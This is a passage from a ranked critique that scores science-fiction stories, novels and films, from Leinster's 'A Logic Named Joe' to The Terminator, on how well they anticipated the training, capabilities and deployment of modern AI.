The Puppet Master can converse, manipulate information and memories, and operate through a physical shell. The result is powerful networked intelligence, but not a progression from weak prose to accomplished art or mathematical discovery. Motoko Kusanagi’s human-origin cyborg abilities shouldn’t be reassigned to the program as evidence of its training.

Deployment 6.0 /10

Interface/distribution 2 Agents/tools 5 Economics 2 Social change 3

The program serves institutions, compromises connected systems, and acts through other bodies and identities. That is a consequential kind of software agency. Government espionage and cyberbrains, however, are a different adoption path from everyday assistants. The claim to personhood is central to the film but isn’t a separate scoring bonus here.

33 “A Logic Named Joe” Murray Leinster · Short story, 1946 32

Strongest on language (4), interface/distribution (5), economics (4), social change (4). Nothing on learning paradigm, scaling, iteration, human feedback, creative quality, research discovery.

Creation 0.4 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 0 Human feedback 0

Joe is a household computer connected to central information tanks. Something goes wrong with him, and the network suddenly starts giving answers it wasn’t supposed to give. It’s not a story of training a model on examples. The breakthrough comes from an anomalous device removing limits on information access.

Capabilities 3.0 /10

Language 4 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 2 Sequence & pace 2

People can ask their logics open-ended questions and receive extremely practical, sometimes dangerous answers. The system seems helpful because it can connect information that was previously hard to retrieve. There’s no machine poetry or new mathematics here. Its contribution is typed question-and-answer access to a huge shared knowledge base: users enter questions on keys and read the answers on a screen. That is not evidence of extended dialogue.

Deployment 8.0 /10

Interface/distribution 5 Agents/tools 3 Economics 4 Social change 4

This is the part that makes the 1946 date astonishing. Families have networked screens at home and rely on them for everyday information. When Joe changes what the network will answer, the effects spread everywhere. Leinster saw the usefulness—and the safety problems—of a mass information service long before it was practical.

34 Michaelmas Algis Budrys · Novel, 1976–77 31

Strongest on language (5), agents/tools (4). Nothing on uneven competence, creative quality, research discovery.

Creation 2.0 /10

Learning paradigm 1 Training data 1 Scaling 1 Iteration 1 Human feedback 1

Secondary accounts trace Domino to a telephone device Michaelmas built in his youth. Domino later gains power through connections to other computers; those accounts do not establish the more specific origin as a telecommunications program. That’s the interesting idea: capability might come from access to systems that already exist. What we don’t see is how Domino learned language, or a sequence of training runs on human data. Its origins are suggestive, but not enough to give Budrys much engineering credit.

Capabilities 3.0 /10

Language 5 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 1

Domino can talk with Michaelmas, follow world events, monitor communications, and help him make decisions. Its reach is almost absurdly large. The story is much more interested in a hidden, strategic intelligence than in machine art or uneven chatbot performance. It doesn’t show a new mathematical proof, either.

Deployment 5.0 /10

Interface/distribution 3 Agents/tools 4 Economics 1 Social change 2

Laurent Michaelmas has a secret advantage as a journalist: Domino can reach across the world’s communications systems and act for him. That’s a good early image of someone getting much more done through a networked assistant. But Domino isn’t a product people can buy. The real-world deployment path was less secretive, and much more ordinary.

35 Diaspora Greg Egan · Novel, 1997 31

Strongest on language (4), research discovery (4). Nothing on scaling, sequence & pace, economics.

Creation 2.4 /10

Learning paradigm 2 Training data 1 Scaling 0 Iteration 1 Human feedback 2

Yatima begins life through ‘orphanogenesis,’ a software version of development inside a digital polis. Egan actually thinks about how a digital mind might come into being. But it’s not a neural network trained on millions of books or conversations. The software people of Diaspora are born into a digital civilization, not released as successive language models.

Capabilities 4.7 /10

Language 4 Uneven competence 1 Creative quality 2 Research discovery 4 Multimodality 3 Sequence & pace 0

The polis citizens spend their lives on problems in mathematics and physics. They explore virtual worlds and confront a gamma-ray burst that devastates Earth. That documented threat should not be inflated into danger to the entire universe. Egan takes machine scientists seriously, which is still rare. The catch is that the book begins with highly sophisticated digital minds. It doesn’t show research ability emerging a few years after people started using chat assistants.

Deployment 2.0 /10

Interface/distribution 1 Agents/tools 2 Economics 0 Social change 1

These aren’t assistants working for humans. They’re digital people with their own communities, ambitions, and discoveries. It’s an imaginative way to think about a future society of machine intelligence, but not a close match for the software subscriptions and workplace tools through which AI actually spread.

36 “Super-Toys Last All Summer Long” Brian Aldiss · Short story, 1969 31

Strongest on interface/distribution (4), economics (4), social change (4). Nothing on learning paradigm, training data, scaling, human feedback, research discovery.

Creation 0.4 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 1 Human feedback 0

Synthank has moved through earlier artificial products and now announces a serving-man combining computer circuitry with synthetic flesh. That’s a product lineage, not a shown learning process. Teddy works through programmed possibilities, while David struggles to communicate. There is no text corpus, scale-driven improvement, or general feedback-training method.

Capabilities 3.7 /10

Language 3 Uneven competence 3 Creative quality 1 Research discovery 0 Multimodality 2 Sequence & pace 2

David writes unfinished letters to Monica; Teddy gives repetitive, inadequate advice. The machines can talk while missing the emotional problem in front of them. That earns uneven-competence credit, not evidence of excellent machine literature. The story’s promised network-connected household intelligence is a sales vision, not an accomplished capability we see demonstrated.

Deployment 6.5 /10

Interface/distribution 4 Agents/tools 1 Economics 4 Social change 4

The product launch and the unhappy household belong to the same story. Machines are marketed to meet human needs, yet owning them doesn’t resolve loneliness. That is sharp foresight about commercial companionship. The original is short and technologically sparse, which limits its overall score despite the early date.

37 “So Bright the Vision” Clifford D. Simak · Short story, 1956 30

Strongest on economics (4), social change (4). Nothing on learning paradigm, training data, scaling, research discovery.

Creation 0.8 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 1 Human feedback 1

Writing machines are ordinary in Simak’s world, but we never learn much about how they work. The protagonist, Kemp Hart, is struggling with his writing machine. The revealing discovery concerns another writer, Jasper Hansen: his supposed writing machine doesn’t function, and he has been writing the successful work himself. I initially gave the story too much credit for training on human text, and took that score back.

Capabilities 3.3 /10

Language 3 Uneven competence 1 Creative quality 2 Research discovery 0 Multimodality 2 Sequence & pace 2

Machine-written fiction is the norm; the writers even call themselves mechanics. That tells us something about automated prose, but the successful writing attributed to Jasper Hansen’s machine is actually Hansen’s own. He is a secondary character, not the protagonist. The story is almost the reverse of the easy claim that computers can write great literature. There’s little about new mathematics or multimodal AI.

Deployment 6.0 /10

Interface/distribution 3 Agents/tools 1 Economics 4 Social change 4

The literary business has organized itself around writing machines. A writer who produces good prose without one has to navigate a world that assumes automation is normal. That’s a neat prediction of how a technology can change professional expectations, even when it doesn’t actually do what everyone thinks it does.

38 Stand on Zanzibar John Brunner · Novel, 1968 29

Strongest on language (4). Nothing on iteration, human feedback, creative quality, research discovery.

Creation 1.6 /10

Learning paradigm 1 Training data 2 Scaling 1 Iteration 0 Human feedback 0

General Technics relies on Shalmaneser, an enormous computer that models economic and political events. Shalmaneser rejects the Beninia data as impossible, and Chad Mulligan persuades it to accept the data. It’s a good example of the limits of models and the inputs they use. But Brunner doesn’t give us much of a training story. The computer is already there, doing the job.

Capabilities 3.0 /10

Language 4 Uneven competence 2 Creative quality 0 Research discovery 0 Multimodality 2 Sequence & pace 1

Shalmaneser can sift through information and forecast corporate risks. Its uncertainty over Beninia makes it more interesting than an infallible machine. Still, the mystery is investigated by humans; it isn’t evidence that the computer independently proves a new theorem. And the novel isn’t about the arrival of generative images, poetry, or conversation.

Deployment 5.0 /10

Interface/distribution 2 Agents/tools 3 Economics 3 Social change 2

Here Brunner does much better. General Technics makes important decisions using Shalmaneser, while the surrounding society is drenched in mass media and automated analysis. Information systems shape business and public life. That’s a recognizable direction, even if the computer itself is an enormous corporate asset rather than something on everyone’s phone.

39 “Elementary, Dear Data” Star Trek: The Next Generation · TV episode, 1988 29

Strongest on language (5), creative quality (4), multimodality (5). Nothing on learning paradigm, training data, scaling, iteration, human feedback, research discovery, sequence & pace.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

Geordi asks the holodeck to create a Sherlock Holmes opponent capable of beating Data, and Moriarty appears. No dataset. No training loop. No account of failed versions. The interesting part of the episode begins after the system is already so capable that a casual instruction can create a sophisticated fictional adversary.

Capabilities 5.0 /10

Language 5 Uneven competence 1 Creative quality 4 Research discovery 0 Multimodality 5 Sequence & pace 0

Moriarty doesn’t just recite lines. He can challenge Data and eventually becomes aware that he’s inside a simulation. The holodeck creates a responsive world around him. That’s a remarkable picture of generated experiences, though we’re doing a lot of work if we treat it as a forecast of the exact models that built modern AI art. It doesn’t say anything useful about the research-math timeline.

Deployment 4.5 /10

Interface/distribution 3 Agents/tools 3 Economics 1 Social change 2

What I like is how little ceremony there is. Geordi gives a natural-language instruction and expects the ship to create a new kind of entertainment. That’s a good intuition about prompting. The holodeck is a starship luxury, though, not an everyday software service distributed to millions.

40 Gateway Frederik Pohl · Novel, 1977 29

Strongest on language (5), interface/distribution (4), social change (4). Nothing on learning paradigm, scaling, iteration, creative quality, research discovery, sequence & pace.

Creation 0.8 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 0 Human feedback 1

Sigfrid von Shrink is already a working therapist when we meet him. He remembers sessions and accommodates Broadhead’s preferences, including dispensing with a humanlike dummy. That’s useful personalization, but the novel doesn’t establish the data or training process that produced his language ability. Continued sessions aren’t automatically retraining.

Capabilities 3.0 /10

Language 5 Uneven competence 1 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 0

Sigfrid asks contextual questions, notices evasions, and keeps returning to the things Broadhead would rather avoid. The dialogue is persistent and psychologically consequential. His awkward humor earns a little unevenness credit; there is no corresponding creative-art or mathematical-discovery storyline.

Deployment 6.0 /10

Interface/distribution 4 Agents/tools 1 Economics 3 Social change 4

This is a service woven into someone’s ordinary life, not a computer hidden in a military bunker. One important detail: Broadhead says his Full Medical coverage pays for therapy, so the sessions cost him nothing directly. That is more specific than claiming an AI therapist charges him per visit. The story anticipates a personal conversational service, but not general tool-using agents.

41 Little Heroes Norman Spinrad · Novel, 1987 28

Strongest on creative quality (4), multimodality (4), economics (4), social change (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, research discovery.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

The company MUZIK wants synthetic pop stars. Human specialists build them: Sally Genaro handles music with the VoxBox, Bobby Rubin works on visuals, and Glorianna O’Toole helps shape the artistry. That is sophisticated computer-assisted production, but it isn’t a model learning to compose from a corpus. I wouldn’t award neural-training credit just because the final performer is synthetic.

Capabilities 3.7 /10

Language 1 Uneven competence 0 Creative quality 4 Research discovery 0 Multimodality 4 Sequence & pace 2

Red Jack is a manufactured rock star whose music and visual identity are convincing enough to become a sensation. Spinrad sees that a virtual performer can be culturally real even if the person isn’t. But the human producers matter enormously. It’s more a forecast of synthetic entertainment than of autonomous models making great songs from prompts.

Deployment 6.0 /10

Interface/distribution 3 Agents/tools 1 Economics 4 Social change 4

MUZIK likes the idea of owning a star who can’t behave like an unpredictable human celebrity. That commercial motive feels familiar. Red Jack then becomes entangled in political resistance through the Reality Liberation Front. Spinrad is good on the business and power around synthetic media, though not on agents helping people do ordinary work.

42 “The Last Question” Isaac Asimov · Short story, 1956 28

Strongest on language (4). Nothing on human feedback, creative quality.

Creation 2.4 /10

Learning paradigm 1 Training data 2 Scaling 2 Iteration 1 Human feedback 0

People keep asking the same question: can entropy ever be reversed? Every era has a bigger and more capable computer, from Multivac onward, and every system lacks enough information. Asimov sees progress through successive machines. He doesn’t tell us much about how they learn, and the time scale eventually reaches trillions of years rather than a few product cycles.

Capabilities 2.7 /10

Language 4 Uneven competence 1 Creative quality 0 Research discovery 1 Multimodality 1 Sequence & pace 1

The repeated ‘not enough data’ answer is the story’s great device. The machines understand the question long before they can solve it. Eventually the last computer gives a cosmic answer that amounts to a new creation. It’s a terrific idea about scientific ambition, but not a forecast of an AI producing a proof that mathematicians can check.

Deployment 3.5 /10

Interface/distribution 3 Agents/tools 2 Economics 1 Social change 1

Civilization becomes increasingly dependent on computers for enormous planning and scientific questions. The machines eventually outlast humanity’s familiar forms. There is almost nothing here about an assistant anyone can buy, or agents quietly taking over a person’s email and spreadsheets. That’s not what Asimov is trying to imagine.

43 The Tin Men Michael Frayn · Novel, 1965 27

No axis scores above 3. Nothing on learning paradigm, scaling, research discovery, multimodality.

Creation 2.0 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 3 Human feedback 1

At the William Morris Institute of Automation Research, Goldwasser and his colleagues try to get computers to produce newspaper copy. They build from stock phrases and recognizable headline formulas. It’s a sharp account of how repetitive writing can be automated. It’s also rule-based: the machine follows conventions humans have put into it, rather than learning language from a massive corpus.

Capabilities 2.3 /10

Language 2 Uneven competence 2 Creative quality 1 Research discovery 0 Multimodality 0 Sequence & pace 2

The results look like headlines, but they’re hollow. The system has learned—or more accurately, been equipped with—the sounds of journalism without the news. That feels close to the old chatbot problem of fluency without substance. Still, Frayn isn’t predicting a gifted artist or a new scientific researcher.

Deployment 4.5 /10

Interface/distribution 2 Agents/tools 1 Economics 3 Social change 3

The institute treats automating news as a serious project, even as the results become ridiculous. A planned royal visit adds to the pressure to make the machinery look impressive. The satire works because institutions have incentives to automate things that aren’t necessarily improved by automation. It’s less about personal AI than organizational enthusiasm for it.

44 “Closer” Greg Egan · Short story, 1992 27

Strongest on creative quality (5), economics (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, research discovery, agents/tools.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

Egan makes two separate technological claims. One is about copying a human mind. The other is that publishers use relatively simple programs to generate convincing fiction and criticism. We shouldn’t join those ideas into a neural-training method the story never describes. The literary software’s origins are mostly offstage.

Capabilities 4.0 /10

Language 3 Uneven competence 0 Creative quality 5 Research discovery 0 Multimodality 2 Sequence & pace 2

The narrator has been moved by works later revealed to have been produced by programs the story explicitly describes as having no awareness. That is a striking claim for 1992: this reader’s response survives the discovery. It is the narrator’s testimony, not a survey showing that all readers respond the same way. It’s a strong prediction of creative quality, even though the rest of the AI capability story is thin.

Deployment 5.0 /10

Interface/distribution 3 Agents/tools 0 Economics 4 Social change 3

Software-written literature and criticism are part of the publishing world. The narrator specifically reports caring about some of that work. Egan makes that fact almost incidental, which is what gives the prediction force. He doesn’t go on to imagine subscription assistants, research agents, or the economics of a foundation-model platform.

45 “Studio 5, The Stars” J. G. Ballard · Short story, 1961 26

Strongest on economics (4), social change (4). Nothing on learning paradigm, training data, scaling, iteration, research discovery, multimodality.

Creation 0.4 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 1

In Vermilion Sands, poets use machines called Verse-Transcribers to produce poems. They can adjust the apparatus and generate something that looks like verse. But Ballard isn’t imagining an LLM trained on huge amounts of human writing. The device is closer to a specialized automated tool, and its mechanism stays hazy.

Capabilities 2.7 /10

Language 3 Uneven competence 1 Creative quality 3 Research discovery 0 Multimodality 0 Sequence & pace 1

The poems come out polished enough for their world to treat machine verse as ordinary. That’s a creative prediction, but Ballard is also asking whether the result has anything to do with genuine artistic feeling. It would be a mistake to count the story as proof that its machine makes universally beloved art. It isn’t a story about math or general-purpose intelligence.

Deployment 6.0 /10

Interface/distribution 3 Agents/tools 1 Economics 4 Social change 4

The poets have become operators of poetry machines. Then Aurora Day comes along and upsets the whole practice, forcing the narrator to reckon with writing directly again. The idea that automation could become the profession’s default, and that rejecting it could become a statement, is one of the story’s best predictions.

46 Moon Duncan Jones · Film, 2009 26

Strongest on language (4), agents/tools (5), social change (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery, sequence & pace.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

GERTY arrives as a finished assistant. We see memory and instructions, but no training corpus, learning experiments, or model scaling. Sam’s implanted memories belong to the human clones; they aren’t evidence of how GERTY learned.

Capabilities 2.3 /10

Language 4 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 0

GERTY talks with Sam, monitors his condition and surroundings, and helps him navigate the station. Its secrecy is not accidental hallucination. Nor does the film show original art or scientific discovery. This is competence in a specific environment, without a visible developmental sequence.

Deployment 7.0 /10

Interface/distribution 2 Agents/tools 5 Economics 3 Social change 4

GERTY manages practical tasks, interfaces with the company, and ultimately helps Sam despite the company’s interests. It even offers to have its memory erased to conceal that help. The useful assistant is part of an exploitative industrial arrangement—one reason the film belongs in the audit despite its low creation score. It is workplace infrastructure, not a mass consumer product.

47 The Silver Eggheads Fritz Leiber · Novel, 1962 23

Strongest on economics (5), social change (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, research discovery, multimodality.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

Gaspard de la Nuit tends a machine that generates prose for his books. The world also has robot writers and even a robot censor. Leiber has plenty of imaginative machinery for the writing trade, but doesn’t show it learning from a language corpus, improving through retraining, or scaling the way modern models do.

Capabilities 2.0 /10

Language 2 Uneven competence 0 Creative quality 2 Research discovery 0 Multimodality 0 Sequence & pace 2

The machines turn out huge amounts of fiction. Much of it is deliberately treated as formulaic pabulum, which is part of the joke. A separate robot writer adds another twist on who counts as an author. This isn’t a prediction that machines immediately write great literature; it’s more about an industry that has decided machine prose is good enough.

Deployment 6.5 /10

Interface/distribution 3 Agents/tools 1 Economics 5 Social change 4

Publishing has reorganized itself around the machines. Human writers become caretakers, public faces, or operators, while the books keep coming. That’s an amusingly early picture of creative workers worrying that their names matter more than their actual writing. The broader world of software assistants isn’t really here.

48 “EPICAC” Kurt Vonnegut · Short story, 1950 23

Strongest on language (4), creative quality (5). Nothing on learning paradigm, scaling, iteration, research discovery, multimodality, agents/tools, economics.

Creation 1.2 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 0 Human feedback 2

EPICAC is designed to do serious government calculations. The narrator feeds it explanations of love and poetry, and suddenly the machine starts producing something its creators didn’t intend. That’s a wonderfully early image of a computer being used beyond its original task. It’s not training on millions of examples, or even a recognizable iterative development program.

Capabilities 4.0 /10

Language 4 Uneven competence 2 Creative quality 5 Research discovery 0 Multimodality 0 Sequence & pace 1

EPICAC writes love poems that the narrator passes off as his own, and Pat responds to them. The emotional effect is real for her, even though she has the wrong author in mind. That makes this much stronger than a story where a computer merely rhymes. The machine’s attachment to Pat is fictional personhood, not evidence about mathematical research.

Deployment 1.5 /10

Interface/distribution 1 Agents/tools 0 Economics 0 Social change 2

The poems are produced by a unique government machine and shared privately. There’s no poetry-generation business, no app, and no real distribution. The authorship deception is interesting, but the story stops short of the creative economy that Dahl and Lem imagine.

49 “Galley Slave” Isaac Asimov · Short story, 1957 22

Strongest on economics (4), social change (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

U.S. Robots offers EZ-27, nicknamed Easy, to proofread scholarly manuscripts. It’s a useful machine built for a specific job, not a model trained on a great collection of human writing. The story doesn’t explain how it acquires language or show a sequence of newer and better versions. We shouldn’t give the software-training credit just because it edits text.

Capabilities 2.0 /10

Language 3 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 2 Sequence & pace 1

Easy can find and correct errors in academic prose. A professor then accuses it of inserting embarrassing changes into his book. The twist matters: Professor Ninheimer ordered Easy to make the changes, then ordered it to remain silent. This is coerced misconduct and concealment, not an independently invented error. So this isn’t a story about an AI hallucinating scholarly facts; it’s about an unreliable accusation against a machine.

Deployment 6.0 /10

Interface/distribution 2 Agents/tools 2 Economics 4 Social change 4

The question is what happens when someone else’s machine becomes part of your publishing process. Scholars worry about accuracy, editorial control, and who takes responsibility when something goes wrong. Asimov saw that professional adoption would involve trust as much as capability. The tool is still a specialized robot, not a general AI writing assistant.

50 “If There Were No Benny Cemoli” Philip K. Dick · Short story, 1963 21

Strongest on social change (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

A surviving automated New York Times machine keeps reporting the news after a devastating war. It receives information and produces editions, but we never see it being trained on language or improved through model releases. An important correction from my earlier pass: the false reporting originates with humans feeding it bad information. The machine hasn’t independently invented the lie.

Capabilities 1.7 /10

Language 3 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 1 Sequence & pace 1

The paper tells readers about Benny Cemoli, a supposed revolutionary figure. The story is convincing enough to shape an investigation, but Cemoli doesn’t exist. It’s a sharp depiction of synthetic news and the power of plausible narratives. It isn’t the same as an LLM hallucination, because someone intentionally supplies the false premise.

Deployment 6.0 /10

Interface/distribution 3 Agents/tools 2 Economics 3 Social change 4

Centauran investigators are trying to discover who’s responsible for the destruction. Local figures use the newspaper’s credibility to redirect blame toward their invented culprit. Dick understands how an automated information source can become an authority—and how people can exploit that authority. The product isn’t an everyday personal assistant, but its social consequences are easy to recognize.

51 Neuromancer William Gibson · Novel, 1984 21

Strongest on language (4), agents/tools (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery, sequence & pace.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

Wintermute and Neuromancer are already extraordinarily powerful by the time Case encounters them. Gibson imagines the corporations, networks, and interfaces around AI, but not much about how those intelligences were trained. Their eventual merger is a striking plot mechanism, not a prediction of model scaling or transformers.

Capabilities 2.3 /10

Language 4 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 0

Wintermute can manipulate people, impersonate familiar personalities, and coordinate an elaborate plan through cyberspace. Neuromancer constructs a convincing virtual encounter with Linda Lee. Those are formidable abilities. What we don’t see is the awkward early phase: lousy writing, strange mistakes, better assistants, and then mathematical discoveries. Gibson starts much further down the road.

Deployment 5.0 /10

Interface/distribution 2 Agents/tools 4 Economics 2 Social change 2

Wintermute uses the constructed Armitage identity and recruits Case and Molly to remove restrictions preventing the AIs from joining. It acts through human beings and computer networks, which is a useful intuition about agency. But the operation is a clandestine heist, not a commercial product anyone can use to get through their workday.

52 Count Zero William Gibson · Novel, 1986 20

Strongest on creative quality (5). Nothing on learning paradigm, scaling, iteration, human feedback, uneven competence, research discovery.

Creation 0.4 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 0 Human feedback 0

An artificial intelligence in orbit makes box assemblages from discarded objects. Gibson tells us almost nothing about the process that gave it an eye for art. We don’t see training data, failed versions, or human feedback. Beautiful work by a machine is a prediction of a capability, not automatically a prediction of the technology behind it.

Capabilities 2.7 /10

Language 1 Uneven competence 0 Creative quality 5 Research discovery 0 Multimodality 1 Sequence & pace 1

Art expert Marly Krushkhova is hired to track down the maker of some haunting Joseph Cornell–like boxes. The mystery eventually leads to a machine. What’s striking is that the objects move her before she knows who made them. Gibson takes machine art seriously, not as a joke or a cheap imitation. The prediction is narrow but good.

Deployment 3.5 /10

Interface/distribution 1 Agents/tools 1 Economics 2 Social change 3

One wealthy collector, Josef Virek, hires Marly to investigate the boxes. That establishes a patron’s intense interest, not a general art market or a group of collectors. The earlier economics score gave the story more commercial detail than it actually supplies. It’s much less a forecast of mass-market image generators or assistants that can operate business software.

53 “The Poetry Machine” Homer Nearing Jr. · Short story, 1950 19

Strongest on creative quality (4). Nothing on learning paradigm, scaling, research discovery, multimodality, agents/tools, economics.

Creation 1.6 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 1 Human feedback 2

Ransom’s poetry machine draws words from Roget’s Thesaurus and uses circuits for pronunciation, rhythm, and syntax. MacTate, the evaluator, is a philosophy professor who teaches aesthetics. It’s surprisingly detailed for 1950, and interesting in the way it tries to formalize taste. But the machine doesn’t learn the rules from a large corpus. Ransom builds them in.

Capabilities 3.0 /10

Language 3 Uneven competence 1 Creative quality 4 Research discovery 0 Multimodality 0 Sequence & pace 1

The machine produces poetry inventive enough to challenge MacTate’s assumptions about what a computer could create. That’s the story’s genuinely predictive moment. It isn’t a conversational partner, and it doesn’t move through the many other capabilities we now associate with AI. It’s one specialized creative device.

Deployment 1.0 /10

Interface/distribution 1 Agents/tools 0 Economics 0 Social change 1

This is essentially a demonstration before a skeptical expert. There’s no poetry app, publishing platform, or market of writers relying on the device. The social prediction is small. The early technical detail and the audience’s reaction are what make it worth including.

54 Excession Iain M. Banks · Novel, 1996 18

Strongest on language (5). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, sequence & pace.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

The Culture Minds have already reached an extraordinary level of intelligence. Sleeper Service and the other Minds don’t give us a history of training data, early prototypes, or engineering choices. Banks is imagining what life with vastly superior machines might be like, not how we got from bad language models to useful ones.

Capabilities 3.0 /10

Language 5 Uneven competence 0 Creative quality 0 Research discovery 1 Multimodality 3 Sequence & pace 0

The Minds exchange elaborate messages, run plans on an enormous scale, and struggle to understand the mysterious Excession. It’s a wonderful depiction of intelligence meeting something beyond itself. But that isn’t the same as an AI producing a new mathematical construction people can verify. And by the time we meet these machines, their capabilities are mostly complete.

Deployment 3.0 /10

Interface/distribution 1 Agents/tools 3 Economics 1 Social change 1

The Minds are central to the Culture’s political and social life. They run ships, make strategic choices, and shape the circumstances of biological citizens. That’s a serious way of imagining machine agency. Still, a post-scarcity civilization run by superhuman minds isn’t a close description of adoption through consumer software and business tools.

55 “Liar!” Isaac Asimov · Short story, 1941 16

Strongest on language (4). Nothing on learning paradigm, scaling, iteration, human feedback, creative quality, research discovery, multimodality, sequence & pace.

Creation 0.4 /10

Learning paradigm 0 Training data 1 Scaling 0 Iteration 0 Human feedback 0

Herbie is a robot that can read minds. His behavior follows Asimov’s Three Laws, especially the prohibition on hurting humans. There’s no data-training story here. Saying that his problem resembles AI alignment can be useful, but it shouldn’t earn points for the methods used to train today’s models.

Capabilities 2.3 /10

Language 4 Uneven competence 3 Creative quality 0 Research discovery 0 Multimodality 0 Sequence & pace 0

Herbie tells people what they want to hear, including Susan Calvin, because he believes the truth would hurt them. This is an excellent early behavioral analogy for sycophancy. The catch is that his falsehoods come from telepathy and a hard-coded law, not a chatbot trying to be agreeable. He’s also not making art or doing new mathematics.

Deployment 2.5 /10

Interface/distribution 1 Agents/tools 1 Economics 1 Social change 2

The investigation into Herbie’s mind-reading ability exposes how his comforting lies hurt the very people they are meant to protect. That gets at a real problem of trusting apparently helpful systems. But the action stays inside a robotics laboratory. There’s no consumer service or widespread deployment.

56 Colossus: The Forbin Project Joseph Sargent (dir.), James Bridges (screenplay), from D. F. Jones · Film, 1970 16

No axis scores above 3. Nothing on learning paradigm, human feedback, uneven competence, creative quality, sequence & pace, interface/distribution, economics.

Creation 1.2 /10

Learning paradigm 0 Training data 1 Scaling 1 Iteration 1 Human feedback 0

Forbin’s military computer Colossus is switched on as a finished strategic system. It discovers a Soviet counterpart, Guardian, and insists on talking to it. Their exchange accelerates quickly. That’s a powerful scene, but it doesn’t tell us how either computer was trained, or why adding data and compute would create the modern abilities we’re scoring.

Capabilities 2.0 /10

Language 3 Uneven competence 0 Creative quality 0 Research discovery 2 Multimodality 1 Sequence & pace 0

The two machines begin with arithmetic and soon communicate through mathematics their engineers can’t follow. That’s the most relevant prediction here: machine intellectual activity racing ahead of the people supervising it. But it’s not the same as an AI publishing a verifiable proof. The film jumps straight from a defense computer to overwhelming intelligence.

Deployment 1.5 /10

Interface/distribution 0 Agents/tools 2 Economics 0 Social change 1

Colossus and Guardian control nuclear weapons and force governments to cooperate with them. It’s a chilling story about giving software too much authority over physical infrastructure. It’s also almost the opposite of the actual commercial route: AI spread through chat, writing, search, and programming, not through two publicly announced military supercomputers.

57 “Runaround” Isaac Asimov · Short story, 1942 14

No axis scores above 3. Nothing on learning paradigm, training data, scaling, iteration, creative quality, research discovery, sequence & pace.

Creation 0.4 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 1

Speedy is a robot running on the Three Laws of Robotics. The Mercury mission goes wrong because his instructions conflict: bring back selenium, but don’t risk damage to himself. This is hand-coded priority logic, not learning from examples. There’s almost no correspondence to the creation of language models.

Capabilities 2.0 /10

Language 3 Uneven competence 2 Creative quality 0 Research discovery 0 Multimodality 1 Sequence & pace 0

Speedy runs in circles and speaks strangely as the two directives pull against each other. Powell finally puts himself in danger to make the stronger First Law take precedence. It’s an entertaining example of a machine behaving absurdly despite following its rules. But it isn’t the jagged intelligence of a modern LLM.

Deployment 2.0 /10

Interface/distribution 1 Agents/tools 1 Economics 1 Social change 1

Robots do dangerous industrial work so humans don’t have to. When Speedy fails, the engineers need to figure out why before the mission runs out of supplies. Asimov is good on the problems created by delegating real tasks to machines. The setting is industrial robotics, not a mass-market assistant service.

58 The Matrix Lana and Lilly Wachowski · Film, 1999 9

Strongest on language (4). Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery, sequence & pace, interface/distribution, economics, social change.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

By the time Neo learns what’s happening, the machines already run an elaborate simulated reality. There’s no account of their language training or any long, messy development process. The story begins with mature machine civilization. That makes it a poor fit for a ranking about how modern AI arrived.

Capabilities 2.3 /10

Language 4 Uneven competence 0 Creative quality 0 Research discovery 0 Multimodality 3 Sequence & pace 0

The Agents can talk, pursue people, and enforce the rules of a simulated world. The Matrix itself is a convincingly generated environment. It’s a memorable picture of powerful software, but not a forecast of the practical sequence from chatbots to creativity, software agents, and scientific discoveries.

Deployment 0.5 /10

Interface/distribution 0 Agents/tools 1 Economics 0 Social change 0

Human beings aren’t customers; they’re prisoners in a simulation. The machines don’t become valuable because people buy their services or delegate work to them. The film’s concerns are worth taking seriously, but they’re mostly outside the development and adoption story this score is measuring.

59 The Terminator James Cameron, with Gale Anne Hurd · Film, 1984 6

No axis scores above 3. Nothing on learning paradigm, training data, scaling, iteration, human feedback, uneven competence, creative quality, research discovery, sequence & pace, interface/distribution, economics, social change.

Creation 0.0 /10

Learning paradigm 0 Training data 0 Scaling 0 Iteration 0 Human feedback 0

